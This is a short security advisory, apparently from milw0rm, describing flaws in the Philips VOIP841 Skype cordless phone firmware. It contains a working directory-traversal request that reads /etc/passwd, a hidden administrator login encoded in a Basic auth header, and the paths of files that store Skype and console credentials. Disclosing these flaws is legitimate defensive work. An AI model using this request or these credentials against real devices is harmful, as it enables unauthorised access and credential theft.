|
|
| |
| The Philips VOIP841 is "the first DECT cordless phone with Skype that works without a PC, offering consumers total flexibility and independence from the PC". Multiple vulnerabilities have been discovered in Philips' VOIP841 wireless phone that allow access to sensitive files as well administrative access to the phone. |
| |
Credit:
The information has been provided by Luca "ikki" Carettoni.
The original article can be found at: http://www.milw0rm.com/exploits/5113
|
| |
Vulnerable Systems:
* Philips VOIP841 Firmware version 1.0.4.50 and 1.0.4.80
Hidden Administration Account (web management console)
The following username service and password service combination will grant you administrative access to the management console of the product.
Directory Listing, Directory Traversal
By utilizing a very simple method of directory traversal attack it is possible to access files and directories that would be normally inaccessible.
Example:
jungle ikki $ telnet 192.168.1.10 80
Trying 192.168.1.10...
Connected to 192.168.1.10.
Escape character is '^]'.
GET /../../../../../../../../etc/passwd HTTP/1.0
Host: 192.168.1.10
Authorization: Basic c2VydmljZTpzZXJ2aWNl
HTTP/1.0 200 OK
Content-type: text/plain
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0
root:x:0:0:root:/root:/bin/bash
demo:x:5000:100:Demo User:/home/demo:/bin/bash
nobody:x:65534:65534:Nobody:/htdocs:/bin/bash
Connection closed by foreign host.
Insecure Storage (Skype credentials, web management console passwords, ...)
It is possible through the directory traversal vulnerability to access the following files that contain sensitive information related to the Skype configuration as well as console settings:
/var/jffs2/data/save.dat
/tmp/apply.log
|
|
|
|
|
|
|
|
